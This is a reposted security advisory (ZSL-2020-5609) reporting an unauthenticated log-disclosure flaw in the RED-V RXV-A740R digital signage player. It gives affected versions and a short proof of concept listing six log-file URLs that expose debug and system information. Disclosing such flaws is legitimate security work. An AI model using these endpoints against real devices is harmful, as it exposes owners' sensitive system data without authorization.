RED-V Super Digital Signage System RXV-A740R Log Information Disclosure

2020.11.16

LiquidWorm (https://cxsecurity.com/author/LiquidWorm/1/) (MK)

Risk: Medium | Local: No | Remote: Yes

CVE: N/A | CWE: N/A

```
RED-V Super Digital Signage System RXV-A740R Log Information Discl
osure


Vendor: RED-V S.R.L.
Product web page: https://www.red-v.tv
                  https://red-v.tv/digital-signage.html
Affected version: Model name: RXV-A740R
                  Android version: 5.1.1
                  Firmware version: 026
                  Player version: 7.8.6
                  Downloader version: 7.5.2
                  Launcher version: 6.8.8

Summary: RED-V Super Digital Signage transforms simple screens
into customized TV channels, delivering audiovisual communication
as immersive user experiences. It is the final blending of years
of know-how in multimedia, mobile and web experience, tablet and
multimedia server design.

Desc: The application is vulnerable to sensitive information discl
osure
vulnerability. An unauthenticated attacker can visit several endpo
ints
```

```
and disclose the webserver's log file list containing sensitive sy
stem
resources and debug log information running on the device.

Tested on: Apache Struts


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5609
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-20
20-5609.php


26.10.2020

--


1. http://192.168.1.2:8080/downloader.log
2. http://192.168.1.2:8080/launcher.log
3. http://192.168.1.2:8080/player.log
4. http://192.168.1.2:8080/downloader.log_YYYY_MM_DD
5. http://192.168.1.2:8080/launcher.log_YYYY_MM_DD
6. http://192.168.1.2:8080/player.log_YYYY_MM_DD
```

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)